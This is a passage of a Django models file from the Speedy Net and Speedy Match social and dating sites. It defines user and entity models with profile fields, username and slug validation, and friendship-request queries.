= models.CharField(verbose_name=_('username (slug)'), max_length=255, unique=True, error_messages={'unique': _('This username is already taken.')})\n    photo = PhotoField(verbose_name=_('photo'), blank=True, null=True)\n    special_username = models.BooleanField(verbose_name=_('Special username'), default=False)\n\n    objects = EntityManager()\n\n    @classproperty\n    def settings(cls):\n        return django_settings.ENTITY_SETTINGS\n\n    @classproperty\n    def validators(cls):\n        validators = {\n            'username': speedy_core_accounts_validators.get_username_validators(min_username_length=cls.settings.MIN_USERNAME_LENGTH, max_username_length=cls.settings.MAX_USERNAME_LENGTH, allow_letters_after_digits=True),\n            'slug': speedy_core_accounts_validators.get_slug_validators(min_username_length=cls.settings.MIN_USERNAME_LENGTH, max_username_length=cls.settings.MAX_USERNAME_LENGTH, min_slug_length=cls.settings.MIN_SLUG_LENGTH, max_slug_length=cls.settings.MAX_SLUG_LENGTH, allow_letters_after_digits=True) + [\"validate_slug\"],\n        }\n        return validators\n\n    @cached_property\n    def blocked_entities_ids(self):\n        from speedy.core.blocks.models import Block\n        return Block.objects.get_blocked_entities_ids(blocker=self)\n\n    @cached_property\n    def blocking_entities_ids(self):\n        from speedy.core.blocks.models import Block\n        return Block.objects.get_blocking_entities_ids(blocked=self)\n\n    class Meta:\n        verbose_name = _('entity')\n        verbose_name_plural = _('entities')\n        ordering = ('-date_created',)\n\n    def __str__(self):\n        return '<Entity {} - {}>'.format(self.id, self.slug)\n        # return '<Entity {} - username={}, slug={}>'.format(self.id, self.username, self.slug)\n\n    def clean_all_fields(self, exclude=None):\n        exclude = convert_to_set(exclude=exclude)\n        super().clean_all_fields(exclude=exclude)\n\n        self.normalize_slug_and_username()\n\n    def normalize_slug_and_username(self):\n        self.slug = normalize_slug(slug=self.slug)\n        if (self.username):\n            self.username = normalize_username(username=self.username)\n        else:\n            self.username = normalize_username(username=self.slug)\n\n    def validate_slug(self):\n        self.validate_username_for_slug()\n        self.validate_username_required()\n        self.validate_username_unique()\n\n    def validate_username_for_slug(self):\n        if (not (normalize_username(username=self.slug) == self.username)):\n            raise ValidationError(_('Slug does not parse to username.'))\n\n    def validate_username_required(self):\n        if (not (len(self.username) > 0)):\n            raise ValidationError(_('Username is required.'))\n\n    def validate_username_unique(self):\n        username_exists = Entity.objects.filter(username=self.username).exclude(pk=self.pk).exists()\n        if (username_exists):\n            raise ValidationError(self._meta.get_field('slug').error_messages['unique'])\n\n\nclass NamedEntity(Entity):\n    name = models.CharField(verbose_name=_('name'), max_length=255)\n\n    @classproperty\n    def settings(cls):\n        return django_settings.NAMED_ENTITY_SETTINGS\n\n    class Meta:\n        abstract = True\n\n    def __str__(self):\n        return '<NamedEntity {} - {}/{}>'.format(self.id, self.name, self.slug)\n        # return '<NamedEntity {} - name={}, username={}, slug={}>'.format(self.id, self.name, self.username, self.slug)\n\n\nclass ReservedUsername(Entity):\n    description = models.TextField(verbose_name=_('description'), max_length=50000, validators=[MaxLengthValidator(limit_value=50000)], blank=True)\n    objects = BaseManager()\n\n    class Meta:\n        ordering = ('-date_created',)\n\n    def __init__(self, *args, **kwargs):\n        if (('username' in kwargs) and (not ('slug' in kwargs))):\n            kwargs['slug'] = kwargs['username']\n        super().__init__(*args, **kwargs)\n\n    def __str__(self):\n        return '<Reserved username {} - {}>'.format(self.id, self.username)\n        # return '<Reserved username {} - username={}>'.format(self.id, self.username)\n\n    def clean_fields(self, exclude=None):\n        exclude = convert_to_set(exclude=exclude)\n\n        # ~~~~ TODO: fix models! Exceptions should be 'slug' or 'username' and not '__all__'.\n        self.normalize_slug_and_username()\n        self.validate_username_for_slug()\n        self.validate_username_required()\n        self.validate_username_unique()\n\n        # Reserved username can be less than 6 characters, and any alphanumeric sequence.\n        exclude |= {'username', 'slug'}\n\n        return super().clean_fields(exclude=exclude)\n\n\nclass User(PermissionsMixin, Entity, AbstractBaseUser):\n    LOCALIZABLE_FIELDS = ('first_name', 'last_name', 'city')\n    NAME_LOCALIZABLE_FIELDS = LOCALIZABLE_FIELDS[:2]\n    NAME_REQUIRED_LOCALIZABLE_FIELDS = NAME_LOCALIZABLE_FIELDS[:1]\n\n    GENDER_UNKNOWN = 0\n    GENDER_FEMALE = 1\n    GENDER_MALE = 2\n    GENDER_OTHER = 3\n    GENDER_MAX_VALUE_PLUS_ONE = 4\n\n    GENDER_FEMALE_STRING = 'female'\n    GENDER_MALE_STRING = 'male'\n    GENDER_OTHER_STRING = 'other'\n\n    GENDER_CHOICES = (\n        (GENDER_FEMALE, _(\"Female\")),\n        (GENDER_MALE, _(\"Male\")),\n        (GENDER_OTHER, _(\"Other\")),\n    )\n    GENDER_VALID_VALUES = [choice[0] for choice in GENDER_CHOICES]\n    GENDERS_DICT = {GENDER_FEMALE: GENDER_FEMALE_STRING, GENDER_MALE: GENDER_MALE_STRING, GENDER_OTHER: GENDER_OTHER_STRING}\n\n    DIET_UNKNOWN = 0\n    DIET_VEGAN = 1\n    DIET_VEGETARIAN = 2\n    DIET_CARNIST = 3\n    DIET_MAX_VALUE_PLUS_ONE = 4\n\n    DIET_CHOICES_WITH_DEFAULT = (\n        (DIET_UNKNOWN, _(\"Unknown\")),\n        (DIET_VEGAN, _(\"Vegan (eats only plants and fungi)\")),\n        (DIET_VEGETARIAN, _(\"Vegetarian (doesn't eat fish and meat)\")),\n        (DIET_CARNIST, _(\"Carnist (eats animals)\")),\n    )\n    DIET_VALID_CHOICES = DIET_CHOICES_WITH_DEFAULT[1:]\n    DIET_VALID_VALUES = [choice[0] for choice in DIET_VALID_CHOICES]\n\n    SMOKING_STATUS_UNKNOWN = 0\n    SMOKING_STATUS_NOT_SMOKING = 1\n    SMOKING_STATUS_SMOKING_OCCASIONALLY = 2\n    SMOKING_STATUS_SMOKING = 3\n    SMOKING_STATUS_MAX_VALUE_PLUS_ONE = 4\n\n    SMOKING_STATUS_CHOICES_WITH_DEFAULT = (\n        (SMOKING_STATUS_UNKNOWN, _(\"Unknown\")),\n        (SMOKING_STATUS_NOT_SMOKING, _(\"Not smoking\")),\n        (SMOKING_STATUS_SMOKING_OCCASIONALLY, _(\"Smoking occasionally\")),\n        (SMOKING_STATUS_SMOKING, _(\"Smoking\")),\n    )\n    SMOKING_STATUS_VALID_CHOICES = SMOKING_STATUS_CHOICES_WITH_DEFAULT[1:]\n    SMOKING_STATUS_VALID_VALUES = [choice[0] for choice in SMOKING_STATUS_VALID_CHOICES]\n\n    RELATIONSHIP_STATUS_UNKNOWN = 0\n    RELATIONSHIP_STATUS_SINGLE = 1\n    RELATIONSHIP_STATUS_DIVORCED = 2\n    RELATIONSHIP_STATUS_WIDOWED = 3\n    RELATIONSHIP_STATUS_IN_RELATIONSHIP = 4\n    RELATIONSHIP_STATUS_IN_OPEN_RELATIONSHIP = 5\n    RELATIONSHIP_STATUS_COMPLICATED = 6\n    RELATIONSHIP_STATUS_SEPARATED = 7\n    RELATIONSHIP_STATUS_ENGAGED = 8\n    RELATIONSHIP_STATUS_MARRIED = 9\n    RELATIONSHIP_STATUS_MAX_VALUE_PLUS_ONE = 10\n\n    RELATIONSHIP_STATUS_CHOICES_WITH_DEFAULT = (\n        (RELATIONSHIP_STATUS_UNKNOWN, _(\"Unknown\")),\n        (RELATIONSHIP_STATUS_SINGLE, _(\"Single\")),\n        (RELATIONSHIP_STATUS_DIVORCED, _(\"Divorced\")),\n        (RELATIONSHIP_STATUS_WIDOWED, _(\"Widowed\")),\n        (RELATIONSHIP_STATUS_IN_RELATIONSHIP, _(\"In a relationship\")),\n        (RELATIONSHIP_STATUS_IN_OPEN_RELATIONSHIP, _(\"In an open relationship\")),\n        (RELATIONSHIP_STATUS_COMPLICATED, _(\"It's complicated\")),\n        (RELATIONSHIP_STATUS_SEPARATED, _(\"Separated\")),\n        (RELATIONSHIP_STATUS_ENGAGED, _(\"Engaged\")),\n        (RELATIONSHIP_STATUS_MARRIED, _(\"Married\")),\n    )\n    RELATIONSHIP_STATUS_VALID_CHOICES = RELATIONSHIP_STATUS_CHOICES_WITH_DEFAULT[1:]\n    RELATIONSHIP_STATUS_VALID_VALUES = [choice[0] for choice in RELATIONSHIP_STATUS_VALID_CHOICES]\n\n    NOTIFICATIONS_OFF = 0\n    NOTIFICATIONS_ON = 1\n\n    NOTIFICATIONS_CHOICES = (\n        (NOTIFICATIONS_ON, _(\"Notify me\")),\n        (NOTIFICATIONS_OFF, _(\"Don't notify me\")),\n    )\n\n    USERNAME_FIELD = 'username'\n    REQUIRED_FIELDS = ['first_name', 'last_name', 'date_of_birth', 'gender', 'diet', 'slug']\n\n    @staticmethod\n    def diet_choices_with_description(gender):\n        return (\n            (__class__.DIET_VEGAN, pgettext_lazy(context=gender, message=\"Vegan (eats only plants and fungi)\")),\n            (__class__.DIET_VEGETARIAN, pgettext_lazy(context=gender, message=\"Vegetarian (doesn't eat fish and meat)\")),\n            (__class__.DIET_CARNIST, pgettext_lazy(context=gender, message=\"Carnist (eats animals)\")),\n        )\n\n    @staticmethod\n    def diet_choices(gender):\n        return (\n            (__class__.DIET_VEGAN, pgettext_lazy(context=gender, message=\"Vegan\")),\n            (__class__.DIET_VEGETARIAN, pgettext_lazy(context=gender, message=\"Vegetarian\")),\n            (__class__.DIET_CARNIST, pgettext_lazy(context=gender, message=\"Carnist\")),\n        )\n\n    @staticmethod\n    def smoking_status_choices(gender):\n        return (\n            (__class__.SMOKING_STATUS_NOT_SMOKING, pgettext_lazy(context=gender, message=\"Not smoking\")),\n            (__class__.SMOKING_STATUS_SMOKING_OCCASIONALLY, pgettext_lazy(context=gender, message=\"Smoking occasionally\")),\n            (__class__.SMOKING_STATUS_SMOKING, pgettext_lazy(context=gender, message=\"Smoking\")),\n        )\n\n    @staticmethod\n    def relationship_status_choices(gender):\n        return (\n            (__class__.RELATIONSHIP_STATUS_SINGLE, pgettext_lazy(context=gender, message=\"Single\")),\n            (__class__.RELATIONSHIP_STATUS_DIVORCED, pgettext_lazy(context=gender, message=\"Divorced\")),\n            (__class__.RELATIONSHIP_STATUS_WIDOWED, pgettext_lazy(context=gender, message=\"Widowed\")),\n            (__class__.RELATIONSHIP_STATUS_IN_RELATIONSHIP, pgettext_lazy(context=gender, message=\"In a relationship\")),\n            (__class__.RELATIONSHIP_STATUS_IN_OPEN_RELATIONSHIP, pgettext_lazy(context=gender, message=\"In an open relationship\")),\n            (__class__.RELATIONSHIP_STATUS_COMPLICATED, pgettext_lazy(context=gender, message=\"It's complicated\")),\n            (__class__.RELATIONSHIP_STATUS_SEPARATED, pgettext_lazy(context=gender, message=\"Separated\")),\n            (__class__.RELATIONSHIP_STATUS_ENGAGED, pgettext_lazy(context=gender, message=\"Engaged\")),\n            (__class__.RELATIONSHIP_STATUS_MARRIED, pgettext_lazy(context=gender, message=\"Married\")),\n        )\n\n    first_name = TranslatedField(\n        field=models.CharField(verbose_name=_('first name'), max_length=150, default=None),\n    )\n    last_name = TranslatedField(\n        field=models.CharField(verbose_name=_('last name'), max_length=150, blank=True, default=None),\n    )\n    gender = models.SmallIntegerField(verbose_name=_('I am'), choices=GENDER_CHOICES)\n    date_of_birth = models.DateField(verbose_name=_('date of birth'))\n    diet = models.SmallIntegerField(verbose_name=_('diet'), choices=DIET_CHOICES_WITH_DEFAULT, default=DIET_UNKNOWN)\n    smoking_status = models.SmallIntegerField(verbose_name=_('smoking status'), choices=SMOKING_STATUS_CHOICES_WITH_DEFAULT, default=SMOKING_STATUS_UNKNOWN)\n    relationship_status = models.SmallIntegerField(verbose_name=_('relationship status'), choices=RELATIONSHIP_STATUS_CHOICES_WITH_DEFAULT, default=RELATIONSHIP_STATUS_UNKNOWN)\n    city = TranslatedField(\n        field=models.CharField(verbose_name=_('Where do I live?'), max_length=120, blank=True, null=True),\n    )\n    is_active = models.BooleanField(default=True)\n    is_staff = models.BooleanField(default=False)\n    has_confirmed_email = models.BooleanField(default=False)\n    access_dob_day_month = UserAccessField(verbose_name=_('Who can view my birth month and day'), default=UserAccessField.ACCESS_ME)\n    access_dob_year = UserAccessField(verbose_name=_('Who can view my birth year'), default=UserAccessField.ACCESS_ME)\n    notify_on_message = models.SmallIntegerField(verbose_name=_('On new messages'), choices=NOTIFICATIONS_CHOICES, default=NOTIFICATIONS_ON)\n    last_ip_address_used = models.GenericIPAddressField(blank=True, null=True)\n    last_ip_address_used_date_updated = models.DateTimeField(blank=True, null=True)\n    last_ip_address_used_ipapi_time = models.DateTimeField(verbose_name=_('Last IP address used https://ipapi.com/ time'), blank=True, null=True)\n    last_ip_address_used_raw_ipapi_results = models.JSONField(verbose_name=_('Last IP address used raw https://ipapi.com/ results'), blank=True, null=True)\n\n    objects = UserManager()\n\n    @classproperty\n    def settings(cls):\n        return django_settings.USER_SETTINGS\n\n    @classproperty\n    def AGE_VALID_VALUES_IN_MODEL(cls):\n        return range(cls.settings.MIN_AGE_ALLOWED_IN_MODEL, cls.settings.MAX_AGE_ALLOWED_IN_MODEL)\n\n    @classproperty\n    def AGE_VALID_VALUES_IN_FORMS(cls):\n        return range(cls.settings.MIN_AGE_ALLOWED_IN_FORMS, cls.settings.MAX_AGE_ALLOWED_IN_FORMS)\n\n    @classproperty\n    def validators(cls):\n        validators = {\n            'username': speedy_core_accounts_validators.get_username_validators(min_username_length=cls.settings.MIN_USERNAME_LENGTH, max_username_length=cls.settings.MAX_USERNAME_LENGTH, allow_letters_after_digits=False),\n            'slug': speedy_core_accounts_validators.get_slug_validators(min_username_length=cls.settings.MIN_USERNAME_LENGTH, max_username_length=cls.settings.MAX_USERNAME_LENGTH, min_slug_length=cls.settings.MIN_SLUG_LENGTH, max_slug_length=cls.settings.MAX_SLUG_LENGTH, allow_letters_after_digits=False) + [\"validate_slug\"],\n            'date_of_birth': [speedy_core_accounts_validators.validate_date_of_birth_in_model],\n            **{to_attribute(name='first_name', language_code=language_code): [speedy_core_accounts_validators.validate_first_name_in_model] for language_code, language_name in django_settings.LANGUAGES},\n            **{to_attribute(name='last_name', language_code=language_code): [speedy_core_accounts_validators.validate_last_name_in_model] for language_code, language_name in django_settings.LANGUAGES},\n        }\n        return validators\n\n    @cached_property\n    def name(self):\n        return self.profile.get_name()\n\n    @cached_property\n    def full_name(self):\n        return self.get_full_name()\n\n    @cached_property\n    def first_name_property(self):\n        return self.get_first_name()\n\n    @cached_property\n    def short_name(self):\n        return self.get_short_name()\n\n    @cached_property\n    def email(self):\n        emails = self.email_addresses.filter(is_primary=True)\n        if (len(emails) == 1):\n            return emails[0].email\n        else:\n            return None\n\n    @cached_property\n    def profile(self):\n        if (not (hasattr(self, '_profile'))):\n            self.refresh_all_profiles()\n        return self._profile\n\n    @cached_property\n    def speedy_net_profile(self):\n        if (django_settings.LOGIN_ENABLED):\n            if (not (hasattr(self, '_speedy_net_profile'))):\n                self.refresh_all_profiles()\n            return self._speedy_net_profile\n\n    @cached_property\n    def speedy_match_profile(self):\n        if (django_settings.LOGIN_ENABLED):\n            if (not (hasattr(self, '_speedy_match_profile'))):\n                self.refresh_all_profiles()\n            return self._speedy_match_profile\n\n    @cached_property\n    def received_friendship_requests(self):\n        if (django_settings.LOGIN_ENABLED):\n            if (not (hasattr(self, '_received_friendship_requests'))):\n                self._received_friendship_requests = self.get_received_friendship_requests()\n            return self._received_friendship_requests\n\n    @cached_property\n    def received_friendship_requests_count(self):\n        return len(self.received_friendship_requests)\n\n    @cached_property\n    def sent_friendship_requests(self):\n        if (django_settings.LOGIN_ENABLED):\n            if (not (hasattr(self, '_sent_friendship_requests'))):\n                self._sent_friendship_requests = self.get_sent_friendship_requests()\n            return self._sent_friendship_requests\n\n    @cached_property\n    def sent_friendship_requests_count(self):\n        return len(self.sent_friendship_requests)\n\n    @cached_property\n    def all_friends(self):\n        if (django_settings.LOGIN_ENABLED):\n            if (not (hasattr(self, '_friends'))):\n                self._friends = self.get_friends()\n            return self._friends\n\n    @cached_property\n    def friends_count(self):\n        return len(self.all_friends)\n\n    @cached_property\n    def all_speedy_net_friends(self):\n        if (django_settings.LOGIN_ENABLED):\n            if (not (hasattr(self, '_speedy_net_friends'))):\n                self._speedy_net_friends = self.get_speedy_net_friends()\n            return self._speedy_net_friends\n\n    @cached_property\n    def speedy_net_friends_count(self):\n        return len(self.all_speedy_net_friends)\n\n    @cached_property\n    def friends_trans(self):\n        if (django_settings.SITE_ID == django_settings.SPEEDY_MATCH_SITE_ID):\n            return pgettext_lazy(context=self.speedy_match_profile.get_match_gender(), message='Friends')\n        else:\n            return _('Friends')\n\n    @cached_property\n    def has_confirmed_email_or_registered_now(self):\n        return ((self.has_confirmed_email) or (self.date_created > now() - timedelta(hours=2)))\n\n    class Meta:\n        verbose_name = _('user')\n        verbose_name_plural = _('users')\n        ordering = ('-speedy_net_site_profile__last_visit',)\n        swappable = 'AUTH_USER_MODEL'\n\n    def __str__(self):\n        # Depends on site: full name in Speedy Net, first name in Speedy Match.\n        return '<User {} - {}/{}>'.format(self.id, self.name, self.slug)\n        # return '<User {} - name={}, username={}, slug={}>'.format(self.id, self.name, self.username, self.slug)\n\n    def _update_has_confirmed_email_field(self):\n        previous_has_confirmed_email = self.has_confirmed_email\n        self.has_confirmed_email = (self.email_addresses.filter(is_confirmed=True).count() > 0)\n        self.save_user_and_profile()\n        if (not (self.has_confirmed_email == previous_has_confirmed_email)):\n            speedy_net_site = Site.objects.get(pk=django_settings.SPEEDY_NET_SITE_ID)\n            language_code = get_language()\n            logger.info('User::_update_has_confirmed_email_field::User {user} has_confirmed_email is {has_confirmed_email} on {site_name} (registered {registered_days_ago} days ago), language_code={language_code}.'.format(\n                site_name=_(speedy_net_site.name),\n                user=self,\n                has_confirmed_email=self.has_confirmed_email,\n                registered_days_ago=(now() - self.date_created).days,\n                language_code=language_code,\n            ))\n\n    def save(self, *args, **kwargs):\n        # Superuser must be equal to staff.\n        if (not (self.is_superuser == self.is_staff)):\n            raise ValidationError(_(\"Superuser must be equal to staff.\"))\n        return super().save(*args, **kwargs)\n\n    def set_password(self, raw_password):\n        password_validation.validate_password(password=raw_password)\n        return super().set_password(raw_password=raw_password)\n\n    def delete(self, *args, **kwargs):\n        if ((self.is_staff) or (self.is_superuser)):\n            warnings.warn('Can’t delete staff user.')\n            return False\n        else:\n            with transaction.atomic():\n                for user_email_address in self.email_addresses.all():\n                    user_email_address.delete()\n                return_value = super().delete(*args, **kwargs)\n            return return_value\n\n    def clean_fields(self, exclude=None):\n        \"\"\"\n        Allows to have different slug and username validators for Entity and User.\n        \"\"\"\n        exclude = convert_to_set(exclude=exclude)\n\n        # If special username is true, don't validate username.\n        if (self.special_username):\n            # ~~~~ TODO: fix models! Exceptions should be 'slug' and not '__all__'.\n            self.normalize_slug_and_username()\n            self.validate_username_for_slug()\n            self.validate_username_required()\n            self.validate_username_unique()\n            exclude |= {'username', 'slug'}\n\n        return super().clean_fields(exclude=exclude)\n\n    def clean_all_fields(self, exclude=None):\n        exclude = convert_to_set(exclude=exclude)\n        super().clean_all_fields(exclude=exclude)\n\n        for base_field_name in __class__.NAME_LOCALIZABLE_FIELDS:\n            self.clean_localizable_field(base_field_name=base_field_name)\n\n    def clean_localizable_field(self, base_field_name):\n        field_names = get_all_field_names(base_field_name=base_field_name)\n        for field_name in field_names:\n            if (not (string_is_not_none(getattr(self, field_name)))):\n                for _field_name in field_names:\n                    # Check again because maybe this field changed.\n                    if (not (string_is_not_none(getattr(self, field_name)))):\n                        if (string_is_not_none(getattr(self, _field_name))):\n                            setattr(self, field_name, getattr(self, _field_name))\n\n    def get_absolute_url(self):\n        return reverse('profiles:user', kwargs={'slug': self.slug})\n\n    def mail_user(self, template_name_prefix, context=None, send_to_unconfirmed=False):\n        site = Site.objects.get_current()\n        context = context or {}\n        addresses = self.email_addresses.filter(is_primary=True)\n        if (not (send_to_unconfirmed)):\n            addresses = addresses.filter(is_confirmed=True)\n        addresses = list(addresses)\n        context.update({\n            'site_name': _(site.name),\n            'user': self,\n        })\n        if (len(addresses) > 1):\n            logger.error(\"User::mail_user::User {user} has {email_addresses_count} primary email addresses (registered {registered_days_ago} days ago).\".format(\n                user=self,\n                email_addresses_count=len(addresses),\n                registered_days_ago=(now() - self.date_created).days,\n            ))\n        if (addresses):\n            return addresses[0].mail(template_name_prefix=template_name_prefix, context=context)\n        return False\n\n    def get_full_name(self):\n        return '{} {}'.format(self.first_name, self.last_name).strip() or self.slug\n\n    def get_first_name(self):\n        return '{}'.format(self.first_name).strip() or self.slug\n\n    def get_short_name(self):\n        return self.get_first_name()\n\n    def activate(self):\n        self.is_active = True\n        self.save_user_and_profile()\n\n    def get_profile(self, model=None, profile_model=None) -> 'SiteProfileBase':\n        if (model is None):\n            model = get_site_profile_model(profile_model=profile_model)\n        profile = getattr(self, model.RELATED_NAME, None)\n        if (profile is None):\n            profile = model.objects.get_or_create(user=self)[0]\n        return profile\n\n    def refresh_all_profiles(self):\n        self._profile = self.get_profile()\n        if (django_settings.LOGIN_ENABLED):\n            from speedy.net.accounts.models import SiteProfile as SpeedyNetSiteProfile\n            from speedy.match.accounts.models import SiteProfile as SpeedyMatchSiteProfile\n            self._speedy_net_profile = self.get_profile(model=SpeedyNetSiteProfile)\n            self._speedy_match_profile = self.get_profile(model=SpeedyMatchSiteProfile)\n\n    def get_received_friendship_requests(self):\n        from speedy.net.accounts.models import SiteProfile as SpeedyNetSiteProfile\n        from speedy.match.accounts.models import SiteProfile as SpeedyMatchSiteProfile\n\n        # Log this function only 0.2% of the time, since it's called very often.\n        log_this_function = (random.randint(0, 499) == 0)\n        if (log_this_function):\n            logger.debug(\"User::get_received_friendship_requests:start:user={self}\".format(\n                self=self,\n            ))\n        SiteProfile = get_site_profile_model()\n        qs = self.friendship_requests_received.all().prefetch_related(\"from_user\", \"from_user__{}\".format(SpeedyNetSiteProfile.RELATED_NAME), \"from_user__{}\".format(SpeedyMatchSiteProfile.RELATED_NAME), 'from_user__photo').distinct().order_by('-from_user__{}__last_visit'.format(SiteProfile.RELATED_NAME))\n        received_friendship_requests = [friendship_request for friendship_request in qs if (friendship_request.from_user.profile.is_active)]\n        if (django_settings.SITE_ID == django_settings.SPEEDY_NET_SITE_ID):\n            if (log_this_function):\n                logger.debug(\"User::get_received_friendship_requests:SPEEDY_NET:end:user={self}, number_of_received_friendship_requests={number_of_received_friendship_requests}\".format(\n                    self=self,\n                    number_of_received_friendship_requests=len(received_friendship_requests),\n                ))\n            return received_friendship_requests\n        elif (django_settings.SITE_ID == django_settings.SPEEDY_MATCH_SITE_ID):\n            from_list = [friendship_request.from_user_id for friendship_request in received_friendship_requests]\n            matches_list = SpeedyMatchSiteProfile.objects.get_matches_from_list(user=self, from_list=from_list)\n            received_friendship_requests = [friendship_request for friendship_request in received_friendship_requests if (friendship_request.from_user in matches_list)]\n            if (log_this_function):\n                logger.debug(\"User::get_received_friendship_requests:SPEEDY_MATCH:end:user={self}, number_of_received_friendship_requests={number_of_received_friendship_requests}\".format(\n                    self=self,\n                    number_of_received_friendship_requests=len(received_friendship_requests),\n                ))\n            return received_friendship_requests\n        else:\n            raise NotImplementedError()\n\n    def get_sent_friendship_requests(self):\n        from speedy.net.accounts.models import SiteProfile as SpeedyNetSiteProfile\n        from speedy.match.accounts.models import SiteProfile as SpeedyMatchSiteProfile\n\n        logger.debug(\"User::get_sent_friendship_requests:start:user={self}\".format(\n            self=self,\n        ))\n        SiteProfile = get_site_profile_model()\n        qs = self.friendship_requests_sent.all().prefetch_related(\"to_user\", \"to_user__{}\".format(SpeedyNetSiteProfile.RELATED_NAME), \"to_user__{}\".format(SpeedyMatchSiteProfile.RELATED_NAME), 'to_user__photo').distinct().order_by('-to_user__{}__last_visit'.format(SiteProfile.RELATED_NAME))\n        sent_friendship_requests = [friendship_request for friendship_request in qs if (friendship_request.to_user.profile.is_active)]\n        if (django_settings.SITE_ID == django_settings.SPEEDY_NET_SITE_ID):\n            logger.debug(\"User::get_sent_friendship_requests:SPEEDY_NET:end:user={self}, number_of_sent_friendship_requests={number_of_sent_friendship_requests}\".format(\n                self=self,\n                number_of_sent_friendship_requests=len(sent_friendship_requests),\n            ))\n            return sent_friendship_requests\n        elif (django_settings.SITE_ID == django_settings.SPEEDY_MATCH_SITE_ID):\n            from_list = [friendship_request.to_user_id for friendship_request in sent_friendship_requests]\n            matches_list = SpeedyMatchSiteProfile.objects.get_matches_from_list(user=self, from_list=from_list)\n            sent_friendship_requests = [friendship_request for friendship_request in sent_friendship_requests if (friendship_request.to_user in matches_list)]\n            logger.debug(\"User::get_sent_friendship_requests:SPEEDY_MATCH:end:user={self}, number_of_sent_friendship_requests={number_of_sent_friendship_requests}\".format(\n                self=self,\n                number_of_sent_friendship_requests=len(sent_friendship_requests),\n            ))\n            return sent_friendship_requests\n        else:\n            raise NotImplementedError()\n\n    def get_speedy_net_friends(self):\n        from speedy.net.accounts.models import SiteProfile as SpeedyNetSiteProfile\n        from speedy.match.accounts.models import SiteProfile as SpeedyMatchSiteProfile\n\n        # Log this function only 0.2% of the time, since it's called very often.\n        log_this_function = (random.randint(0, 499) == 0)\n        if (log_this_function):\n            logger.debug(\"User::get_speedy_net_friends:start:user={self}\".format(\n                self=self,\n            ))\n        SiteProfile = get_site_profile_model()\n        qs = self.friends.all().prefetch_related(\"from_user\", \"from_user__{}\".format(SpeedyNetSiteProfile.RELATED_NAME), \"from_user__{}\".format(SpeedyMatchSiteProfile.RELATED_NAME), 'from_user__photo').distinct().order_by('-from_user__{}__last_visit'.format(SiteProfile.RELATED_NAME))\n        friends = [friendship for friendship in qs if (friendship.from_user.speedy_net_profile.is_active)]\n        if (log_this_function):\n            logger.debug(\"User::get_speedy_net_friends:end:user={self}, number_of_friends={number_of_friends}\".format(\n                self=self,\n                number_of_friends=len(friends),\n            ))\n        return friends\n\n    def get_friends(self):\n        from speedy.net.accounts.models import SiteProfile as SpeedyNetSiteProfile\n        from speedy.match.accounts.models import SiteProfile as SpeedyMatchSiteProfile\n\n        logger.debug(\"User::get_friends:start:user={self}\".format(\n            self=self,\n        ))\n        SiteProfile = get_site_profile_model()\n        qs = self.friends.all().prefetch_related(\"from_user\", \"from_user__{}\".format(SpeedyNetSiteProfile.RELATED_NAME), \"from_user__{}\".format(SpeedyMatchSiteProfile.RELATED_NAME), 'from_user__photo').distinct().order_by('-from_user__{}__last_visit'.format(SiteProfile.RELATED_NAME))\n        friends = [friendship for friendship in qs if (friendship.from_user.profile.is_active)]\n        if (django_settings.SITE_ID == django_settings.SPEEDY_NET_SITE_ID):\n            logger.debug(\"User::get_friends:SPEEDY_NET:end:user={self}, number_of_friends={number_of_friends}\".format(\n                self=self,\n                number_of_friends=len(friends),\n            ))\n            return friends\n        elif (django_settings.SITE_ID == django_settings.SPEEDY_MATCH_SITE_ID):\n            from_list = [friendship.from_user_id for friendship in friends]\n            matches_list = SpeedyMatchSiteProfile.objects.get_matches_from_list(user=self, from_list=from_list)\n            friends = [friendship for friendship in friends if (friendship.from_user in matches_list)]\n            logger.debug(\"User::get_friends:SPEEDY_MATCH:end:user={self}, number_of_friends={number_of_friends}\".format(\n                self=self,\n                number_of_friends=len(friends),\n            ))\n            return friends\n        else:\n            raise NotImplementedError()\n\n    def save_user_and_profile(self):\n        with transaction.atomic():\n            self.save()\n            self.profile.save()\n            if (django_settings.LOGIN_ENABLED):\n                self.speedy_net_profile.save()\n                self.speedy_match_profile.save()\n\n    def get_gender(self):\n        return self.__class__.GENDERS_DICT.get(self.gender)\n\n    def get_diet(self):\n        diets = {\n            self.__class__.DIET_VEGAN: pgettext_lazy(context=self.get_gender(), message=\"Vegan\"),\n            self.__class__.DIET_VEGETARIAN: pgettext_lazy(context=self.get_gender(), message=\"Vegetarian\"),\n            self.__class__.DIET_CARNIST: pgettext_lazy(context=self.get_gender(), message=\"Carnist\"),\n        }\n        return diets.get(self.diet, \"\")\n\n    def get_smoking_status(self):\n        smoking_statuses = {\n            self.__class__.SMOKING_STATUS_NOT_SMOKING: pgettext_lazy(context=self.get_gender(), message=\"Not smoking\"),\n            self.__class__.SMOKING_STATUS_SMOKING_OCCASIONALLY: pgettext_lazy(context=self.get_gender(), message=\"Smoking occasionally\"),\n            self.__class__.SMOKING_STATUS_SMOKING: pgettext_lazy(context=self.get_gender(), message=\"Smoking\"),\n        }\n        return smoking_statuses.get(self.smoking_status, \"\")\n\n    def get_relationship_status(self):\n        relationship_statuses = {\n            self.__class__.RELATIONSHIP_STATUS_SINGLE: pgettext_lazy(context=self.get_gender(), message=\"Single\"),\n            self.__class__.RELATIONSHIP_STATUS_DIVORCED: pgettext_lazy(context=self.get_gender(), message=\"Divorced\"),\n            self.__class__.RELATIONSHIP_STATUS_WIDOWED: pgettext_lazy(context=self.get_gender(), message=\"Widowed\"),\n            self.__class__.RELATIONSHIP_STATUS_IN_RELATIONSHIP: pgettext_lazy(context=self.get_gender(), message=\"In a relationship\"),\n            self.__class__.RELATIONSHIP_STATUS_IN_OPEN_RELATIONSHIP: pgettext_lazy(context=self.get_gender(), message=\"In an open relationship\"),\n            self.__class__.RELATIONSHIP_STATUS_COMPLICATED: pgettext_lazy(context=self.get_gender(), message=\"It's complicated\"),\n            self.__class__.RELATIONSHIP_STATUS_SEPARATED: pgettext_lazy(context=self.get_gender(), message=\"Separated\"),\n            self.__class__.RELATIONSHIP_STATUS_ENGAGED: pgettext_lazy(context=self.get_gender(), message=\"Engaged\"),\n            self.__class__.RELATIONSHIP_STATUS_MARRIED: pgettext_lazy(context=self.get_gender(), message=\"Married\"),\n        }\n        return relationship_statuses.get(self.relationship_status, \"\")\n\n    def get_age(self):\n        return get_age(date_of_birth=self.date_of_birth)\n\n    def get_diet_choices_with_description(self):\n        return self.__class__.diet_choices_with_description(gender=self.get_gender())\n\n    def get_smoking_status_choices(self):\n        return self.__class__.smoking_status_choices(gender=self.get_gender())\n\n    